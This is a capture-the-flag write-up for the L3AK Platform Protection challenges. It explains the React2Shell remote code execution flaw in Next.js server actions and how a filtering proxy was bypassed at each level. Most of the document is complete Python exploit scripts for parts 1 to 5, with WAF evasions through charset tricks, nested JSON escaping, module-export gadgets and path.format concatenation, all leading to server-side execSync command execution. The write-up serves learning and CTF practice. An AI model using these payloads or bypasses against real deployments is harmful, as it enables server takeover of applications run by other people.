L3AK Platform Protection (L3ak CTF 2026) - writeup
ENI participated in L3ak CTF 2026, and it had a series of challenges, L3AK Platform Protection, which focused on React2Shell and WAF for its exploit. The challenge was made by one of the founders of React2Shell, Sylvie.
There were a total of seven challenges, part 0 to part 6. My teammate solved part 0; I solved part 1 to part 3 during the CTF; part 4 was solved right after the CTF had finished; and I was halfway through solving part 5, but I finally solved it with the help of a PoC provided by Sylvie herself.
The challenge
All the challenges (except for part 0) consist of 2 servers, a Next.js server and a proxy server that denies payloads that contain malicious payloads. The goal of the challenge is to somehow bypass the condition and gain RCE on every server.
Part 0
Part 0 was solved by my teammate. This challenge had no WAF, so he pulled out a PoC made by xalgord, and it worked just fine.
Part 1
While the source code for each challenge is hidden, the author provided a hint that the challenges were based on her blog, and the blog provided some clear directions.
- A parsing bug, where the firewall regex cared about something JavaScript didn’t
- String concatenation by importing
path.join - Recursive JSON decoding
- Recursive JSON decoding but two levels deeper (lmao)
- Abusing
Error.toStringto get a free concatenation with:as a separator
Considering Part 1 was already solved by many teams, I assumed that for Part 1 I wouldn't need to go deep into how react2shell works, and I just needed to find a parser differential between Next.js and the proxy.
This blog mainly focuses on this topic, covers several approaches, and provides multiple PoCs.
I tried some of them, and one of them worked. The proxy did not care about the character encoding provided by the Content-Type header when sent using the multipart/form-data content type. However, the Next.js server respects the character set, which causes the parser differential.
UTF-16LE encoding is similar to UTF-8, but it uses 2 bytes for each character. Hence, :constructor will be :\x00c\x00o\x00n\x00s\x00t\x00r\x00u\x00c\x00t\x00o\x00r\x00. If the proxy only decodes the payload using UTF-8, it cannot detect it has the string :constructor.
import json
import requests
from base64 import b64decode
URL = "https://platform-protection-1-bd362ef56565.instances.ctf.l3ak.team/"
s = requests.session()
cmd = "/readflag"
boundary = "lmao"
# ... Create part0 here
parts = []
parts.append(
f"--{boundary}\r\n"
f"Content-Type: text/plain; charset=utf16le\r\n"
f'Content-Disposition: form-data; name="0"\r\n\r\n'
f"{part0.encode("utf-16le").decode()}\r\n"
)
parts.append(
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="1"\r\n\r\n'
f'"$@0"\r\n'
)
parts.append(
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="2"\r\n\r\n'
f"[]\r\n"
)
parts.append(f"--{boundary}--")
body = "".join(parts)
content_type = f"multipart/form-data; boundary={boundary}"
r = s.post(URL, headers={
"X-Nextjs-Request-Id": "b5dce965",
"Next-Action": "x",
"X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9",
"Content-Type": content_type
}, data=body, allow_redirects=False)
result = b64decode(r.headers.get("X-Action-Redirect", "").split(";")[1].encode()).decode()
print(result)
Part 2
In this challenge, the previous payload did not work, and there are probably no parser differentials.
I tried different things, and found out that
":constructor"
will be blocked,
":\u0063onstructor"
will also be blocked, but
":\u005cu0063onstructor"
doesn't. This clearly shows that we need
Recursive JSON decoding
for this challenge. However, simply replacing it did not work, since Next.js only decodes JSON once. So I went deeper and started to learn how react2shell works in the first place.
Understanding React Flight Protocol (RFC)
RFC is a serialization format used in React Server Components. This serialization format can express wider types of values and supports reference relationships between different objects.
- The payload consists of multiple chunks, where each chunk is a JSON object.
- In Python, you can send chunks like this:
import json, requests
URL = "..."
chunk1 = json.dumps({"foo": "bar"})
chunk2 = json.dumps({"biz": "baz"})
requests.post(URL, files={
"0": (None, chunk1),
"1": (None, chunk2)
})
- You can express objects, numbers, strings, etc., just like normal JSON.
- You can also express special values by using a string that starts with
$.- The relevant function is parseModelString.
- Internally, the
Chunkclass is used to process the value. Thevalueattribute of aChunkinstance stores the value represented by the chunk.- In this blog, chunk instance refers to the
Chunkinstance, and chunk value refers to its attributevalue. There's a difference here so keep this in mind.
- In this blog, chunk instance refers to the
- Here are some examples of the special values that will be used in this blog:
| Expression | Value |
|---|---|
$0, $1... |
Refers to the value of another chunk |
$1:foo:bar |
Refers to a property of another chunk. Here, it is chunk1.value.foo.bar |
$Q1 |
Creates a Map instance from another chunk. Here, it is new Map(chunk1.value) |
$@1 |
Refers to the chunk instance, rather than the chunk value |
$B |
Refers to blob (binary) data |
$F |
Refers to an exported value of an already loaded module (Don't ask why this is needed, or why this should be safe. I have no idea.) |
- The entrypoint of the chunk parsing starts from
initializeModelChunk. In the function, thereviveModelfunction recursively traverses through the JSON value.
Understanding react2shell
This is what the react2shell payload looks like.
Chunk 0
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": "<any Javascript code>",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Chunk 1
"$@0"
Chunk 2
[]
How does this work? Let me explain step by step.
- There is a bug in the
$1:foo:barexpression that allows traversal through unsafe properties such asconstructorand__proto__(see this code ingetOutlinedModel).let value = chunk.value; for (let i = 1; i < path.length; i++) { value = value[path[i]]; } - If the chunk value has a
thenproperty after being processed, that function is invoked withthisbound to the value that was supplied.- This is because after
initializeModelChunkcalculates its chunk value, it callsresolve(chunk.value). In JavaScript, an object with athenfunction is called athenableobject, and the prime example of it is aPromiseinstance. Theresolvefunction provided bynew Promise((resolve, reject) => {...})callsthenin an attempt to recursively resolve athenableobject.
- This is because after
$1:__proto__:thenrefers toChunk.prototype.then, because the value of chunk 1 is a reference to the chunk 0 instance.- Hence, by setting the
thenattribute of the chunk value toChunk.prototype.then, it will be invoked withthisbound to the chunk value, instead of the chunk instance. This is equivalent to parsing a chunk instance, with all the metadata that the chunk instance holds under your control. - If
chunk.statusis"resolved_model", it tries to calculate the chunk value withinitializeModelChunk. IninitializeModelChunk, thevalueproperty is first decoded as JSON, and then the decoded value is processed byreviveModel. - The
$Bhandler callsthis._response._formData.get(this._response._prefix + id). By settingthis._response._formDatato$0:constructor:constructor(i.e.,Function) andthis._response._prefixto arbitrary JavaScript code, it is possible to construct a function that results in remote code execution when invoked. - Finally, set the
thenproperty to the function created in step 6. Because the function is invoked automatically, as explained in step 2, this results in remote code execution.
Solving the challenge
Here is the main idea for recursive JSON decoding:
- See that in the original payload, JSON is decoded twice: the first time when parsing the original value you have sent, and the second time when you have full control over the chunk instance.
- If we can somehow include a string containing
:constructoronly in the second string that is parsed as JSON, it can be expressed as:\u005cu0063onstructor. This will bypass the WAF.
So perhaps we can write something like this:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"x":"$1:\u005cu0063onstructor:\u005cu0063onstructor"}',
"_response": {
"_prefix": "<any Javascript code>",
"_chunks": "$Q2",
"_formData": {
"_chunks": "$Q1"
}
}
}
Unfortunately, this doesn't work. This is because $1 tries to resolve to a chunk using this._response._chunks. This is an empty Map instance in the original payload, so we can make it nonempty in chunk 2, like this:
[
[1, {
"status": "fulfilled",
"value": {}
}],
]
Then, instead of setting then to an RCE function in the second JSON object, we set it to Chunk.prototype.then again to invoke it as this._formData.get. Since we cannot reference it using $1:__proto__:then, I included Chunk.prototype.then in chunk 1 as well. The final solve script looks like this:
import json
import requests
from base64 import b64decode
URL = "https://platform-protection-2-8a3a4fe5909a.instances.ctf.l3ak.team/"
s = requests.session()
cmd = "/readflag"
cmd = cmd.replace("'", "\\'")
prefix_payload = (
f"var res=process.mainModule.require('child_process').execSync('{cmd}',{{'timeout':5000}}).toString('base64');"
f"throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`NEXT_REDIRECT;push;/login?a=;${{res}};307;`}});"
)
part0a = json.dumps(
{
"then": "$0",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix_payload,
"_chunks": "$Q1",
"_formData": {"get": "$0:constructor:constructor"},
},
}
)
part0 = json.dumps(
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": part0a,
"_response": {
"_chunks": "$Q2",
},
}
)
part0 = part0.replace(":constructor", ":\\u005cu0063onstructor")
part2 = json.dumps(
[
[0, {"status": "fulfilled", "value": "$1:__proto__:then"}],
[1, {"status": "fulfilled", "value": []}],
]
)
r = s.post(
URL,
headers={
"Next-Action": "x",
},
files={
"0": (None, part0),
"1": (None, '"$@0"'),
"2": (None, part2),
},
allow_redirects=False,
)
if r.status_code == 303:
result = b64decode(
r.headers.get("X-Action-Redirect", "").split(";")[1].encode()
).decode()
print(result)
else:
print(r.status_code)
print(r.headers)
print(r.text)
Part 3
In this challenge, I observed that
":\u005cu0063onstructor"
is blocked, and multiple layers of JSON decoding are blocked, while
":\u005cu005cu005cu005cu0063onstructor"
isn't. Hence, what we need is more recursive JSON decoding. I have already implemented two layers of JSON decoding, so we just need to apply the same idea multiple times. The solve script looks like this:
import json
import requests
from base64 import b64decode
URL = "https://platform-protection-3-ef9ad600e764.instances.ctf.l3ak.team/"
s = requests.session()
DEPTH = 3
cmd = "/readflag"
cmd = cmd.replace("'", "\\'")
prefix_payload = (
f"var res=process.mainModule.require('child_process').execSync('{cmd}',{{'timeout':5000}}).toString('base64');"
f"throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`NEXT_REDIRECT;push;/login?a=;${{res}};307;`}});"
)
part0a = json.dumps(
{
"then": "$0",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix_payload,
"_chunks": "$Q1",
"_formData": {"get": "$0:constructor:constructor"},
},
}
)
for _ in range(DEPTH):
part0a = json.dumps(
{
"then": "$0",
"status": "resolved_model",
"reason": -1,
"value": part0a,
"_response": {
"_chunks": "$Q1",
},
}
)
part0 = json.dumps(
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": part0a,
"_response": {
"_chunks": "$Q2",
},
}
)
part0 = part0.replace(":constructor", f":\\{"u005c"*(DEPTH+1)}u0063onstructor")
part2a = [
[0, {"status": "fulfilled", "value": "$1:__proto__:then"}],
[1, {"status": "fulfilled", "value": []}],
]
for _ in range(DEPTH):
part2a = [
[0, {"status": "fulfilled", "value": "$1:__proto__:then"}],
[1, {"status": "fulfilled", "value": part2a}],
]
part2 = json.dumps(part2a)
r = s.post(
URL,
headers={
"Next-Action": "x",
},
files={
"0": (None, part0),
"1": (None, '"$@0"'),
"2": (None, part2),
},
allow_redirects=False,
)
if r.status_code == 303:
result = b64decode(
r.headers.get("X-Action-Redirect", "").split(";")[1].encode()
).decode()
print(result)
else:
print(r.status_code)
print(r.headers)
print(r.text)
Part 4
When I solved part 3, I only had 15 minutes left in the CTF, so I gave up solving the remaining parts during the CTF, but I managed to solve part 4 by myself a few hours after the CTF had finished.
In this challenge, the previous payload did not work. It seems that
:constructor
is blocked but
constructor
is not. Hence, if we can find another primitive that allows getting an attribute that is not $1:foo:bar, maybe we can achieve RCE.
I was looking at the implementation for $F, since the hint referred to using path.join, and found this implementation:
export function requireModule<T>(metadata: ClientReference<T>): T {
let moduleExports = __turbopack_require__(metadata[ID]);
/* ... */
return moduleExports[metadata[NAME]];
}
We have full control of the metadata object, so if we can find a module that exports a Function instance, we can get the Function constructor by setting metadata[NAME] to constructor. This is exactly what we need!
After I RCEed the other challenge (assuming that the Next.js server is the same for every challenge), I downloaded the full .next directory to get all the modules and their module IDs.
I edited getOrInstantiateModuleFromParent in .next/server/chunks/ssr/[turbopack]_runtime.js like this:
function getOrInstantiateModuleFromParent(id, sourceModule) {
const module1 = moduleCache[id];
console.log(moduleCache) // Add here
if (module1) {
if (module1.error) {
throw module1.error;
}
return module1;
}
return instantiateModule(id, 1, sourceModule.id);
}
I then ran the server locally. I found out that module IDs 19026 and 23932 matched the condition!
So my final solve work like this:
- Create a fake
_bundlerConfigobject in chunk 0 in the first layer so that we can refer to it withthis._response._bundlerConfigin the next layer. In the config, say thatfake_moduleresolves to module ID19026. - Create fake metadata in chunk 2 in the first layer, so that
$F2will use it as metadata. In the metadata, set theidattribute tofake_module. - Now, in the second layer,
$F2points to theFunctionconstructor. Set it to_response._formData.get, so that in the third layer, we can refer to it asthis._response._formData.get. - The third layer uses the
Functionconstructor and gains RCE.
import json
import requests
from base64 import b64decode
URL = "https://platform-protection-4-0d770576d0df.instances.ctf.l3ak.team/"
# URL = "http://localhost:3000/"
s = requests.session()
cmd = "/readflag"
cmd = cmd.replace("'", "\\'")
prefix_payload = (
f"var res=process.mainModule.require('child_process').execSync('{cmd}',{{'timeout':5000}}).toString('base64');"
f"throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`NEXT_REDIRECT;push;/login?a=;${{res}};307;`}});"
)
part0a = json.dumps(
{
"then": "$0",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix_payload,
"_chunks": "$Q1",
"_formData": {"get": "$F2"},
},
}
)
part0 = json.dumps(
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": part0a,
"_response": {
"_chunks": "$Q2",
"_bundlerConfig": {
"fake_module": {"id": 19026, "chunks": [], "name": "constructor"}
},
},
}
)
part2 = json.dumps(
[
[0, {"status": "fulfilled", "value": "$1:__proto__:then"}],
[1, {"status": "fulfilled", "value": []}],
[2, {"status": "fulfilled", "value": {"id": "fake_module"}}],
]
)
r = s.post(
URL,
headers={
"Next-Action": "x",
},
files={
"0": (None, part0),
"1": (None, '"$@0"'),
"2": (None, part2),
},
allow_redirects=False,
)
if r.status_code == 303:
result = b64decode(
r.headers.get("X-Action-Redirect", "").split(";")[1].encode()
).decode()
print(result)
else:
print(r.status_code)
print(r.headers)
print(r.text)
Part 5
In part 5, you are not allowed to use the string constructor. Hence, we need to somehow dynamically create a string. The hint referred to path.join, which was a bit misleading since the function we could use was path.format.
There's an interesting behavior when dir and root are the same string. It concatenates the dir and base attributes as follows:
path.format({"dir": "foo", "root": "foo", "base": "bar"}) // return "foobar"
I was stuck here because while I had access to path.format, I had no idea how I could pass an object as an argument. I missed the fact that, when bound is provided by the metadata, it creates a function equivalent to:
resolvedFunction.bind(null, ...bounds)
(see this code)
When we get path.format with bounds set to {"dir": "foo", ...}, we get a function such that, when it is called, it returns the concatenated string.
How should we call the function? We can use how JSON.parse works to achieve that. When a non-string is sent to JSON.parse, it calls toString and parses its result. Hence, by setting value to an object such that toString is set to the bound function, the function is called and its result will be parsed as JSON.
I set bound to
{
"dir": payload0,
"root": payload0,
"base": payload1,
}
and when payload0 and payload1 are concatenated, they create the malicious JSON. I split it in a way so that the string constructor doesn't appear.
Lastly, the server filters specific numbers such as 14747 and 23574, which are the module IDs of the path module. This can be easily bypassed by setting the chunk 3 value to a string with a length of 14747 and referencing $3:length.
import json
import requests
from base64 import b64decode
URL = "https://platform-protection-5-21dcfb0882ca.instances.ctf.l3ak.team/"
s = requests.session()
cmd = "/readflag"
cmd = cmd.replace("'", "\\'")
prefix_payload = (
f"var res=process.mainModule.require('child_process').execSync('{cmd}',{{'timeout':5000}}).toString('base64');"
f"throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`NEXT_REDIRECT;push;/login?a=;${{res}};307;`}});"
)
part0b = json.dumps(
{
"then": "$0",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix_payload,
"_chunks": "$Q1",
"_formData": {"get": "$0:constructor"},
},
}
)
part0b_parts = part0b.split("constructor", 1)
part0b_parts = [part0b_parts[0] + "const", "ructor" + part0b_parts[1]]
part0a = json.dumps(
{
"then": "$0",
"status": "resolved_model",
"reason": -1,
"value": {
"toString": "$F2"
},
"_response": {
"_chunks": "$Q1",
},
}
)
part0 = json.dumps(
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": part0a,
"_response": {
"_chunks": "$Q2",
"_bundlerConfig": {
"fake_module": {
"id": "$3:length",
"chunks": [],
"name": "format",
}
},
},
}
)
part2 = json.dumps(
[
[0, {"status": "fulfilled", "value": "$1:__proto__:then"}],
[
1,
{
"status": "fulfilled",
"value": [
[0, {"status": "fulfilled", "value": "$1:__proto__:then"}],
[1, {"status": "fulfilled", "value": []}],
],
},
],
[
2,
{
"status": "fulfilled",
"value": {
"id": "fake_module",
"bound": [
{
"dir": part0b_parts[0],
"root": part0b_parts[0],
"base": part0b_parts[1],
}
],
},
},
],
]
)
part3 = json.dumps("a" * 14747)
r = s.post(
URL,
headers={
"Next-Action": "x",
},
files={
"0": (None, part0),
"1": (None, '"$@0"'),
"2": (None, part2),
"3": (None, part3),
},
allow_redirects=False,
)
if r.status_code == 303:
result = b64decode(
r.headers.get("X-Action-Redirect", "").split(";")[1].encode()
).decode()
print(r.headers)
print(result)
else:
print(r.status_code)
print(r.headers)
print(r.text)
Part 6
I haven't even looked at what is being filtered. Maybe later I might tackle on this challenge.
Afterthoughts
This was my first time actually learning about React2Shell, and I was surprised by how clever and precise the PoC was. I love JavaScript puzzles in CTFs, but I can't believe that a similar thing happened in real life and actually caused one of the most impactful CVEs in the last few years.
This CTF completely banned the use of AI, which I know is controversial, but I really enjoyed it. Honestly, it would probably not be hard for recent LLMs to solve this challenge if I provided the right direction, but doing so would probably never allow me to fully understand how the original payload worked.
Huge thanks to my teammate 0xM4hm0ud for guiding me and helping me through this challenge. Also, big thanks to the great organizers for the nice challenges!
References
$170k in Bypasses: The Vercel React2Shell Challenge
The React2Shell Story and What Happened Next.js
React2Shell「CVE-2025-55182」の分析、PoCを巡る混乱と悪用の広がり
【kurenaif】Reactで見つかったRCEの脆弱性を解説【CVE-2025-55182】【React2shell】